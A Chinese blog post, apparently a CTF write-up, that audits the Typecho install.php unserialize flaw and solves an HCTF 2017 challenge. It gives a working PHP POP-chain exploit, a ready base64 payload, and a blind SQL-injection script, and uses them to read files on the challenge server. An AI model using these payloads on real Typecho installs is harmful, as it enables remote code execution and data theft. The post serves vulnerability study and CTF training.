typecho漏洞分析与HCTF实战

快,关注这个公众号,一起涨姿势~

typecho漏洞分析与HCTF实战

0x00前记

通过最近的比赛,决定沉淀下来,从复现cms开始慢慢锻炼自己的审计能力,毕竟这个年头的CTF,不会审计只能活在边缘了,今天为大家带了typecho漏洞的审计分析和一道HCTF里根据这个漏洞点出的实战例题

0x01 typecho漏洞审计

问题存在于在根目录install.php文件的229-235行

可以看到$config变量的值是由__typecho_config解base64并反序列化得到

于是我们跟进get()函数,去看看如何获取这个变量的值

可以看到,__typecho_config变量的值,从cookie中获取,如果没有,则看POST里是否存在

所以这个变量我们有2种输入方式:

cookie中传入

POST方式传入

而后思考,既然有反序列化unserialize

那么如何利用呢?

这里有3个点:

__destruct()

__wakeup()

__toString()

其中

__destruct()是在对象被销毁的时候自动调用

__wakeup()在反序列化的时候自动调用

__toString()是在调用对象的时候自动调用。

那么我们这里有没有对象的调用呢?

继续审计

我们可以看到,这里直接对$config['adapter']进行了调用

而我们假设这样

$config为一个数组,classA为我们可以利用的一个类

我们构造如下代码

$sky = new classA();

$config = array(

'adapter' => $sky,

);

这样显然就完成了对对象的调用

所以我们下面需要去全局搜索__toString()函数,找到可利用的类

在Feed.php中的223行,我们发现了这样的函数,进行审计

在第284-290行我们发现这样一段代码

foreach ($this->_items as $item) {

$content .= '' . self::EOL;

$content .= '' . htmlspecialchars($item['title']) . '' . self::EOL;

$content .= '' . $item['link'] . '' . self::EOL;

$content .= '' . $item['link'] . '' . self::EOL;

$content .= '

' . $this->dateFormat($item['date']) . '' . self::EOL;

$content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;

其中调用了$item['author']->screenName

private $_items = array();

容易看见,$_items是类中的私有变量

这里又有一个点需要关注了:

即一个特殊的魔法函数__get()

__get()会在读取不可访问的属性的值的时候调用

所以这里对$item['author']->screenName的调用显然是使用了这个魔法函数

于是我们跟进这个__get()魔法函数,进行全局搜索

在Request.php中我们发现了这样的函数

public function __get($key)

{

return $this->get($key);

}

我们继续跟进get()函数

public function get($key, $default = NULL)

{

switch (true) {

case isset($this->_params[$key]):

$value = $this->_params[$key];

break;

case isset(self::$_httpParams[$key]):

$value = self::$_httpParams[$key];

break;

default:

$value = $default;

break;

}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;

return $this->_applyFilter($value);

}

我们注意到最后一行,返回的数据还要经过$this->_applyFilter()

我们继续跟进

private function _applyFilter($value)

{

if ($this->_filter) {

foreach ($this->_filter as $filter) {

$value = is_array($value) ? array_map($filter, $value) :

call_user_func($filter, $value);

}

$this->_filter = array();

}

return $value;

}

可以看到非常瞩目的函数

call_user_func()

举个例子

$filter= 'assert';

$value = 'phpinfo()';

call_user_func($filter, $value);

?>

即可执行phpinfo()指令

而这里,如果我们能控制$filter和$value两个参数,就等同于任意命令执行

0x02 payload分析

我们根据以上分析,容易得到以下构造

class Typecho_Feed{

private $_type='ATOM 1.0';

private $_items;

public function __construct(){

$this->_items = array(

'0'=>array(

'author'=> new Typecho_Request())

);

}

}

class Typecho_Request{

private $_params = array('screenName'=>'phpinfo()');

private $_filter = array('assert');

}

$poc = array(

'adapter'=>new Typecho_Feed(),

'prefix'=>'typecho');

echo base64_encode(serialize($poc));

我们来捋一遍:

在install.php的第230行,我们精心构造的poc被这里反序列化

在install.php的第232行,程序调用了$config['adapter'],而$config['adapter']是我们精心构造的,具有利用点__toString()函数的类Typecho_Feed()的对象

因为对象$config['adapter']被调用,触发了__toString()函数

而在__toString()函数里,程序调用了类Typecho_Feed()的私有变量$item['author']->screenName,而$item['author']->screenName是我们精心构造的,具有利用点__get()函数的类Typecho_Request的对象

由于私有变量被调用,触发了__get()函数

__get()中的get()函数调用了危险函数call_user_func(),导致任意命令执行

这一连串的pop链构造可谓非常精妙,分析完后才感觉到自己有多菜= =

0x03 注意点

这样构造完__typecho_config的值显然是不够的

我们注意到

if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {

exit;

}

if (!empty($_GET) !empty($_POST)) {

if (empty($_SERVER['HTTP_REFERER'])) {

exit;

}

$parts = parse_url($_SERVER['HTTP_REFERER']);

if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {

$parts['host'] = "{$parts['host']}:{$parts['port']}";

}

if (empty($parts['host']) $_SERVER['HTTP_HOST'] != $parts['host']) {

exit;

}

}

我们需要带上$_GET['finish']参数

我们需要带上$_SERVER['HTTP_REFERER']参数

HTTP_REFERER必须是本站

0x04 实战演练

题目来自10月份的XCTF联赛中的HCTF,改变自typecho漏洞

1.1 题目描述:

题目分为两层,第一层是注入,第二次是注入拿到的路径,进去后是一个typecho页面,但是禁用了许多系统命令。

1.2题目第一层

拿到url

http://sqls.2017.hctf.io/index/index.php?id=1

先探测了下,能用的不多,该过滤的基本过滤完了,空格过滤可以用%0b绕过

这里构造了亦或

回显:

http://sqls.2017.hctf.io/index/index.php?id=1^1

Id error

http://sqls.2017.hctf.io/index/index.php?id=1^0

Alice

故此可以构造payload:

http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((user())from(1)))>0)

然后问题来了,我们没有办法用系统库,表,字段去爆库,爆表,爆字段

但是题目提示了:

所以可以确定的是flag表

然后可以猜测存在flag字段(出题人mmp说的)

然后我们容易构造出:

http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select%0bflag%0bfrom%0bflag)from(1)))>0)

但是这样发现sql语句报错了

得到的回显是:`There is nothing.`

于是我苦思冥想,本地测试了2个小时,发现问题在于flag表里不止一个字段,这样就会报错

mysql> select * from users where id=2333 union select 1,2,3,4,(ascii(mid((select flag from flag)from(1)))>0);

ERROR 1242 (21000): Subquery returns more than 1 row

但是我又不知道flag表有啥字段,所以这里我又脑洞了下:

利用like+hctf去限制

select flag from flag where flag like '%hctf%'

所以得到最终的payload:

http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select(flag)from(flag)where%0bflag%0blike%0b0x256863746625)from(1)))>0)'

附上脚本:

#!/usr/bin/env python

#coding:utf-8

import requests as req

flag = ''

for x in range(1,100):

for y in range(33,127):

url = 'http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select(flag)from(flag)where%0bflag%0blike%0b0x256863746625)from('+str(x)+')))='+str(y)+')'

f = req.get(url=url)

if 'Id error' in f.content:

flag+=chr(y)

print flag

break

得到结果:

./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/

1.3题目第二层

访问

http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php

发现是一个typecho,想到之前爆出的php命令执行漏洞,于是去复现,因为之前复现过,所以还挺激动的

但是这里题目好像做出了变化,首先是好像不能写入了,然后利用的poc中,貌似括号会有影响?当时使用的时候算是比较蛋疼,后来经过一番调整后,终于成功

url = http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish=a

post:

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

Referrer:

http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/

不得不说hacker bar还是强大,这要用Burp看还挺难受的,然后成功回显了phpinfo(),发现是php7,然后想用系统命令查找,却发现系统命令也被禁了,只能使用php函数

这里选用了scandir()

$this->_params['screenName'] = 'var_dump(scandir(\'./\'))';

打出回显:

array(12) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".DS_Store" [3]=> string(5) "admin" [4]=> string(14) "config.inc.php" [5]=> string(9) "index.php" [6]=> string(7) "install" [7]=> string(11) "install.php" [8]=> string(11) "license.txt" [9]=> string(7) "uploads" [10]=> string(3) "usr" [11]=> string(3) "var" }

一路查找,最后找到了可疑文件夹:

array(23) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(12) "flag_is_here" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(3) "sys" [20]=> string(3) "tmp" [21]=> string(3) "usr" [22]=> string(3) "var" }

可以看到偌大的flag_is_here

再查:

array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) "flag" }

可以看到flag文件,然后利用file_get_contents()去读

$this->_params['screenName'] = 'var_dump(file_get_contents(\'../../../../../flag_is_here/flag\'))';

可以轻松拿到flag

string(33) "hctf "

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180111G03QT100?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券